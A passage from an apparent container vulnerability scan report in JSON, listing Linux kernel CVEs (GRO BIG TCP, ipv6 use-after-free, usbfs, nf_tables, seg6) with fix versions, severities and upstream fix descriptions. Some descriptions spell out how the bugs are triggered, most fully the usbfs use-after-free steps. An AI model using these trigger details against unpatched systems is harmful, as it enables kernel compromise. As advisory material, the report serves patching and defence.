"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68108", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68121", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68273", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80714", "https://errata.almalinux.org/9/ALSA-2026-71700.html", "https://errata.rockylinux.org/RLSA-2026:71700", "https://git.kernel.org/linus/a63d2dbaeb50a85d4c976b15a36e6b0c7113db5b%20%287.2-rc6%29", "https://git.kernel.org/stable/c/06d1d9b56ef8132fbf85006885eb43d9510b8b02", "https://git.kernel.org/stable/c/300348e3ba1521b003d59825f97e24f9a6859688", "https://git.kernel.org/stable/c/44af98cc7d5ef8e730488d5df1eecd5deeaa5947", "https://git.kernel.org/stable/c/4649e6faeecdc2d44bfa6ccbe405eef27e55d816", "https://git.kernel.org/stable/c/a63d2dbaeb50a85d4c976b15a36e6b0c7113db5b", "https://git.kernel.org/stable/c/acbdc276091b308ca7794acb86e761f8203e2f59", "https://git.kernel.org/stable/c/b5ee5b266f833601ac4817f6df0bc496fc376a28", "https://git.kernel.org/stable/c/e7acfc990c29890c883d0d0ce3f737d003a43b44", "https://linux.oracle.com/cve/CVE-2026-80714.html", "https://linux.oracle.com/errata/ELSA-2026-71700.html", "https://lore.kernel.org/linux-cve-announce/2026082809-CVE-2026-80714-799a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80714", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-80714" ], "PublishedDate": "2026-08-28T08:16:57.053Z", "LastModifiedDate": "2026-10-16T20:18:08.073Z" }, { "VulnerabilityID": "CVE-2026-80725", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80725", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:eac1a4da0c11e57d67f9b782a4294a97b7ffd8b4cd97f4a29e893cb7dcd61879", "Title": "kernel: net: gro: properly validate BIG TCP aggregation criteria", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gro: properly validate BIG TCP aggregation criteria\n\nWhen GRO attempts to aggregate packets beyond GRO_LEGACY_MAX_SIZE (64KB),\nBIG TCP should only be permitted for plain IPv4 TCP and plain IPv6 TCP\n(with sufficient MAC header room to insert the temporary HBH jumbo header).\n\nHowever, commit b1a78b9b9886 (\"net: add support for ipv4 big tcp\")\nloosened the check in skb_gro_receive(), leading to several issues:\n\n1. skb_gro_receive() checked skb_headroom(p) instead of the actual space\n before the MAC header (p-\u003emac_header). Because skb_headroom(p) includes\n mac_len, crafted frames (e.g. injected via AF_PACKET) can pass the check\n with p-\u003emac_header \u003c 8 bytes. When ipv6_gro_complete() inserts the\n temporary HBH jumbo header, the memmove() starts before skb-\u003ehead,\n causing an out-of-bounds write and wrapping skb-\u003emac_header.\n2. It allowed non-IP protocols such as software VLAN (ETH_P_8021Q /\n ETH_P_8021AD) to aggregate beyond 64KB because\n p-\u003eprotocol != ETH_P_IPV6 was true.\n3. It checked p-\u003eencapsulation instead of NAPI_GRO_CB(skb)-\u003eencap_mark,\n allowing encapsulated flows (e.g. SIT / IPv6-in-IPv4) to aggregate\n beyond 64KB.\n\nFix skb_gro_receive() to strictly enforce:\n- NAPI_GRO_CB(skb)-\u003eproto == IPPROTO_TCP\n- Not encapsulated (!NAPI_GRO_CB(skb)-\u003eencap_mark \u0026\u0026 !p-\u003eencapsulation)\n- Protocol must be either ETH_P_IP or ETH_P_IPV6\n- If ETH_P_IPV6, p-\u003emac_header must be at least\n sizeof(struct hop_jumbo_hdr)\n\nReturning -E2BIG from skb_gro_receive() ensures that packets which cannot\nbecome BIG TCP are cleanly flushed at \u003c= 64KB and delivered intact without\ndropping.\n\nThis issue does not exist in mainline (7.0+) because the subsystem was\nrewritten in commit 81be30c1f5f2 (\"net/ipv6: Drop HBH for BIG TCP on RX\nside\"), making this fix relevant only for older stable branches like\n6.18.y.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "V3Score": 8.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80725", "https://git.kernel.org/linus/81be30c1f5f2bffda1f04c0efd0746af10b9643a%20%287.0-rc1%29", "https://git.kernel.org/stable/c/03cb8cc2961f5f781d12e903782cb3815ed84b1c", "https://git.kernel.org/stable/c/37a5dcd6837fc2afc44a7bc3ed8af4e983783d46", "https://git.kernel.org/stable/c/3ce832e2bd431d0c12ba525ed73ad8fbc4191da5", "https://git.kernel.org/stable/c/81be30c1f5f2bffda1f04c0efd0746af10b9643a", "https://git.kernel.org/stable/c/e907bf694ed55bdfe421be99dba35751a655df25", "https://linux.oracle.com/cve/CVE-2026-80725.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://lore.kernel.org/linux-cve-announce/2026082953-CVE-2026-80725-93af@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80725", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-80725" ], "PublishedDate": "2026-08-29T07:16:54.573Z", "LastModifiedDate": "2026-10-16T20:18:09.06Z" }, { "VulnerabilityID": "CVE-2026-80792", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80792", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:734707f15a1b7d6727934b033c1c01289fb786be1b8479cce2ffc5822ade701e", "Title": "kernel: ipv6: fix use-after-free in ip6_finish_output2()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: fix use-after-free in ip6_finish_output2()\n\nip6_finish_output2() caches a pointer to the IPv6 destination\naddress (daddr) before invoking lwtunnel_xmit(). The LWT-BPF\ntransmit path or other encapsulation operations within\nlwtunnel_xmit() can reallocate the skb head, freeing the memory\nthat daddr points to. When lwtunnel_xmit() returns\nLWTUNNEL_XMIT_CONTINUE, the function continues to use the stale\ndaddr pointer to compute the nexthop and to look up or create the\nneighbour entry. This results in a use-after-free read, which can\nleak sensitive kernel data, pollute the neighbour table with\narbitrary values, misdirect traffic, or crash the system.\n\nFix this by re-fetching the IPv6 header and the destination\naddress pointer after lwtunnel_xmit() returns\nLWTUNNEL_XMIT_CONTINUE, ensuring that the subsequent nexthop\ncomputation and neighbour lookup operate on valid memory.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:76738", "https://access.redhat.com/security/cve/CVE-2026-80792", "https://bugzilla.redhat.com/2482115", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2486398", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2496574", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502326", "https://bugzilla.redhat.com/2502327", "https://bugzilla.redhat.com/2502330", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502384", "https://bugzilla.redhat.com/2502395", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2502554", "https://bugzilla.redhat.com/2502619", "https://bugzilla.redhat.com/2508320", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2519475", "https://bugzilla.redhat.com/2521057", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2528542", "https://bugzilla.redhat.com/2528550", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/2540500", "https://errata.almalinux.org/10/ALSA-2026-76738.html", "https://git.kernel.org/linus/d0d48d999b0eee6bb176ef4e39d9be868fa80f7e%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80792.mbox", "https://git.kernel.org/stable/c/087ee0d914aaae929f1660c9ca878e367655ba1a", "https://git.kernel.org/stable/c/3c770ac4e6f07af7c7b40c474a3efc61ffed7862", "https://git.kernel.org/stable/c/3dc98e5fe82d069dd29b124ffbdb679331dfea43", "https://git.kernel.org/stable/c/73a187384a8c8b983c7fea046d716b6752a1e7a3", "https://git.kernel.org/stable/c/75e0a544ebe9af663ef53ca21e9e9185c51fb54a", "https://git.kernel.org/stable/c/99219c82804f266189388e8bf1cf5135d10d5515", "https://git.kernel.org/stable/c/c95f01b78266828a57060d754fcbfc92123a98ed", "https://git.kernel.org/stable/c/d0d48d999b0eee6bb176ef4e39d9be868fa80f7e", "https://git.kernel.org/stable/c/d960881b9312e781a3429aabceb223ce6b7c882f", "https://linux.oracle.com/cve/CVE-2026-80792.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80792", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80792" ], "PublishedDate": "2026-09-04T16:18:05.46Z", "LastModifiedDate": "2026-11-06T17:19:58.553Z" }, { "VulnerabilityID": "CVE-2026-80824", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80824", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cbdb97b46d7fafbfebf5b4b8c3d8fe42b685e8eae5adf3102944bc92dbd80225", "Title": "kernel: usb: usbfs: fix use-after-free of usb_device in usbdev_release()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: usbfs: fix use-after-free of usb_device in usbdev_release()\n\nusbdev_release() drops its reference to the struct usb_device before\ndraining the list of completed async URBs, but that drain path reads back\nthrough the same object: free_async() calls dec_usb_memory_use_count()\nfor any URB whose buffer came from the usbfs mmap() region, and its first\nstatement is bus_to_hcd(ps-\u003edev-\u003ebus).\n\nAfter a disconnect the usbfs reference can be the last one, in which case\nusb_put_dev() frees the device and the subsequent loop reads offset 80 of\nfreed memory and uses the result as a struct usb_hcd *, which\nhcd_buffer_free_pages() then dereferences.\n\nThis is reachable by an unprivileged process that has read/write access to\na /dev/bus/usb node: mmap() the fd, submit one URB with a buffer inside the\nmapping, wait for the device to be unplugged, then munmap() and close().\nIt reproduces on every attempt rather than being a race, because a live\nMAP_SHARED vma holds a reference on the struct file, so usbdev_release()\ncannot run until the last vma is gone and the freeing branch of\ndec_usb_memory_use_count() is always taken.\n\n BUG: KASAN: slab-use-after-free in dec_usb_memory_use_count+0x3ae/0x410\n Read of size 8 at addr ffff8880122ee050 by task poc/769\n CPU: 1 UID: 1000 PID: 769 Comm: poc Tainted: G B 6.12.94 #3\n\n Call Trace:\n dec_usb_memory_use_count+0x3ae/0x410\n free_async+0x2aa/0x4f0\n usbdev_release+0x375/0x460\n __fput+0x3ea/0xb50\n __x64_sys_close+0x86/0x100\n\n Allocated by task 11:\n usb_alloc_dev+0x55/0xd90\n hub_event+0x2524/0x43d0\n\n Freed by task 769:\n kfree+0x121/0x360\n device_release+0xd2/0x280\n usb_put_dev+0x23/0x30\n usbdev_release+0x2d8/0x460\n\nRelease the device reference after the drain loop instead. Nothing between\nthe two points requires it to have been dropped.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-80824", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/0dd68b5d01d022fc9c5e71c82a82b0a94d3d0671%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80824.mbox", "https://git.kernel.org/stable/c/0a960b88c5979f853019d4dc4957dfbeeb193440", "https://git.kernel.org/stable/c/0dd68b5d01d022fc9c5e71c82a82b0a94d3d0671", "https://git.kernel.org/stable/c/47a7f98fbb5006d46d15a3a210ffdc61448a4f19", "https://git.kernel.org/stable/c/5f08c45bdcfd28d1171de38c5ef29fc89a76eedc", "https://git.kernel.org/stable/c/65879e0a452ca2a234b9475e0c11aff7a4343738", "https://git.kernel.org/stable/c/7f0278e474c4d1c4457974ff1137cc385c944ab3", "https://git.kernel.org/stable/c/96f5520fc9a5e4bbf77ac93c9d5ce502f597e6cf", "https://git.kernel.org/stable/c/b3cde26a66b04f1d90ed0b675899c88b4e49d424", "https://git.kernel.org/stable/c/bd4bffc621a8cb2f4d9ed9b6447415de524a3bef", "https://linux.oracle.com/cve/CVE-2026-80824.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80824", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80824" ], "PublishedDate": "2026-09-04T16:18:10.233Z", "LastModifiedDate": "2026-10-19T09:17:17.293Z" }, { "VulnerabilityID": "CVE-2026-80837", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80837", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3f3c73b2bcc117fd24236c8d693cdda96e792f25268b0091d7d70dddd048bd90", "Title": "kernel: netfilter: nf_tables: don't queue packet path object notifications", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: don't queue packet path object notifications\n\nAll file:line references below are against v7.2-rc4 (ac5b0e5651b1). The\ntrace was captured on 7.2.0-rc6-kasan72rc6 (075b74841bd0), where the same\nlines apply.\n\nnft_obj_notify() is exported and reached from the packet path. Its only\nin-tree caller is nft_quota_obj_eval() (net/netfilter/nft_quota.c:68),\nwhich notifies with GFP_ATOMIC while evaluating a rule for a transiting\npacket, holding no mutex.\n\nSince commit 67cc570edaa0 (\"netfilter: nf_tables: coalesce multiple\nnotifications into one skbuff\") that notification is no longer sent\nimmediately. __nft_obj_notify() queues it onto nft_net-\u003enotify_list via\nnft_notify_enqueue() (net/netfilter/nf_tables_api.c:1211), which is a bare\nlist_add_tail(). notify_list has no lock of its own\n(include/net/netfilter/nf_tables.h:1951), it is serialised by commit_mutex:\nthe six other enqueue sites all run inside a netlink transaction, and the\ndrain in nft_commit_notify() (net/netfilter/nf_tables_api.c:10746) does\nlist_del() + kfree_skb() from nf_tables_commit() with commit_mutex held.\n\nSending packets through a chain that references a depleted quota object\ntherefore races an unlocked list_add_tail() against list_del() +\nkfree_skb() on another CPU. The WRITE_ONCE(prev-\u003enext, new) in __list_add()\nthen stores through an sk_buff that has already been freed:\n\n BUG: KASAN: slab-use-after-free in __nft_obj_notify+0x2c5/0x2d0\n Write of size 8 at addr ff110001047183c0 by task poc/76\n CPU: 0 UID: 1000 PID: 76 Comm: poc Tainted: G W 7.2.0-rc6-kasan72rc6 #4\n Call Trace:\n \u003cIRQ\u003e\n __nft_obj_notify (include/linux/list.h:164 include/linux/list.h:191\n net/netfilter/nf_tables_api.c:1211\n net/netfilter/nf_tables_api.c:8743)\n nft_quota_obj_eval (net/netfilter/nft_quota.c:68)\n nft_do_chain_inet\n nf_hook_slow\n __ip_local_out\n ip_push_pending_frames\n udp_send_skb\n udp_sendmsg\n __x64_sys_sendto\n\n Allocated by task 77:\n __alloc_skb (net/core/skbuff.c:704)\n __nft_obj_notify (include/net/netlink.h:1055\n net/netfilter/nf_tables_api.c:8731)\n nft_quota_obj_eval (net/netfilter/nft_quota.c:68)\n nft_do_chain\n\n Freed by task 79:\n nf_tables_commit (include/linux/skbuff.h:1332\n net/netfilter/nf_tables_api.c:10759\n net/netfilter/nf_tables_api.c:11185)\n nfnetlink_rcv_batch (net/netfilter/nfnetlink.c:574)\n netlink_unicast\n netlink_sendmsg\n\n The buggy address belongs to the cache skbuff_head_cache of size 232\n\nQueueing from the packet path is wrong even leaving the race aside:\nnotify_list is only drained by nft_commit_notify() from nf_tables_commit()\n(:11185), so a notification enqueued outside a transaction is not sent\nuntil some later netlink batch commits, if one ever does.\n\nThe gfp argument that nft_obj_notify() still takes is a leftover of the\npre-67cc570edaa0 behaviour, where this path called nfnetlink_send()\ndirectly. Restore that: split the message construction out into\nnft_obj_notify_alloc() and let each caller decide what to do with the skb.\nnft_obj_notify(), the exported one reached from the packet path, sends it\nstraight away; nf_tables_obj_notify(), which runs under commit_mutex, keeps\nqueueing it, so transaction notifications are still coalesced.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80837", "https://git.kernel.org/linus/7904b94768e983bcb2be34a8d6d1f3450f5b838b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80837.mbox", "https://git.kernel.org/stable/c/68de7f3a38acab355c24114f77bf00d3094ce4da", "https://git.kernel.org/stable/c/6989f298103f575a768a85e4b19d2384709237f8", "https://git.kernel.org/stable/c/6fa88d11983c6fe693c13ed7c5b3b75ae9f39de6", "https://git.kernel.org/stable/c/7904b94768e983bcb2be34a8d6d1f3450f5b838b", "https://git.kernel.org/stable/c/df86c0e84025be8b6dd572a20852698927aa666b", "https://git.kernel.org/stable/c/e97e2d6d0b150fd78be573f9fdf193f204d9334e", "https://git.kernel.org/stable/c/f010756ed75ac003146a1cbc93501092343bb3a3", "https://linux.oracle.com/cve/CVE-2026-80837.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80837", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80837" ], "PublishedDate": "2026-09-04T16:18:12.03Z", "LastModifiedDate": "2026-10-30T13:20:11.983Z" }, { "VulnerabilityID": "CVE-2026-80840", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80840", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e677fff3c92319245f217f176aaa2cb6737068438cd5ec179ad2dcb9df31abd2", "Title": "kernel: ipv6: seg6: clear IPv4 control block on IPIP decapsulation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: seg6: clear IPv4 control block on IPIP decapsulation\n\nEnd.DX4 and End.DT4 decapsulate an IPv4 packet through\ndecap_and_validate() and send it directly to IPv4 routing. The inner\npacket therefore bypasses ip_rcv_core(), which normally clears IPCB\nbefore IPv4 interprets skb-\u003ecb.\n\nThe skb instead retains IP6CB data from the outer packet. IP6CB and\nIPCB use the same skb-\u003ecb storage, so IP6CB(skb)-\u003elastopt overlaps\nIPCB(skb)-\u003eopt.optlen and srr, while IP6CB(skb)-\u003enhoff overlaps rr and\nts.\n\nThe sender can make the stale optlen byte nonzero with a valid outer\nextension-header chain. The reproducers put an eight-byte Destination\nOptions header immediately after the 40-byte IPv6 header and before the\nSegment Routing Header. ipv6_destopt_rcv() records the sender-controlled\nDestination Options offset in both lastopt and nhoff, setting them to\n40. On the reproduced little-endian x86-64 kernel, IPv4 therefore sees\noptlen = 40 and rr = 40.\n\nBoth tcp_v4_save_options() and __ip_options_echo() skip option copying\nwhen optlen is zero. Here optlen is 40, so the TCP SYN path allocates\nroom for 40 bytes of option data and calls __ip_options_echo(). The\nstale rr value makes that function read inner packet byte 41 as the\nRecord Route option length. The reproducers set that sender-controlled\nbyte to 255, so __ip_options_echo() copies 255 bytes into the 40-byte\noption-data area.\n\nSeparate End.DX4 and End.DT4 reproducers on the unpatched v7.2-rc5\nkernel both produced:\n\n BUG: KASAN: slab-out-of-bounds in __ip_options_echo()\n Write of size 255\n\nThe relevant End.DX4 call path is:\n\n __ip_options_echo\n tcp_v4_route_req\n tcp_conn_request\n tcp_v4_conn_request\n tcp_rcv_state_process\n tcp_v4_do_rcv\n tcp_v4_rcv\n ip_protocol_deliver_rcu\n ip_local_deliver_finish\n ip_local_deliver\n input_action_end_dx4_finish\n input_action_end_dx4\n\nThe relevant End.DT4 call path is:\n\n __ip_options_echo\n tcp_v4_route_req\n tcp_conn_request\n tcp_v4_conn_request\n tcp_rcv_state_process\n tcp_v4_do_rcv\n tcp_v4_rcv\n ip_protocol_deliver_rcu\n ip_local_deliver_finish\n ip_local_deliver\n input_action_end_dt4\n\ntcp_v4_save_options() is inlined into the tcp_v4_route_req() path, so\nit does not appear as a separate frame.\n\nWhen decap_and_validate() handles IPPROTO_IPIP, save the ingress\ninterface from IP6CB, clear IPCB, and restore the saved value. Doing\nthis in the common decapsulation path covers End.DX4, End.DT4, and\nEnd.DT46's IPv4 arm.\n\nUse IP6CB(skb)-\u003eiif rather than skb-\u003eskb_iif. These actions run after\nl3mdev processing, which can replace skb_iif with the L3 master;\nIP6CB iif still records the receiving interface set at IPv6 ingress.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80840", "https://git.kernel.org/linus/44930446dde45a7a90fe1446fa38eb0e2c561646%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80840.mbox", "https://git.kernel.org/stable/c/0e3f01fe2e704e76af4385b8a1742641885a191c", "https://git.kernel.org/stable/c/10fd1a8f58ac619a9e251f2858e2e2c8fd6cd667", "https://git.kernel.org/stable/c/3e4476e58343fb8f2fffced9e22d935376b17aaf", "https://git.kernel.org/stable/c/44930446dde45a7a90fe1446fa38eb0e2c561646", "https://git.kernel.org/stable/c/9039e4f3e1c0ffe2b575b655b3f58fdd10f7e40c", "https://git.kernel.org/stable/c/bf1c1151560d11036a144d917fa4c131831342d7", "https://git.kernel.org/stable/c/eb0f422487228e140f3d609b032ac61aedcab8fa", "https://git.kernel.org/stable/c/f4be3b391265e24c7720fc867c50062b436acf33", "https://git.kernel.org/stable/c/f52f1e75716d2ee49e013edf204ac92337c72fd8", "https://linux.oracle.com/cve/CVE-2026-80840.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80840", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", 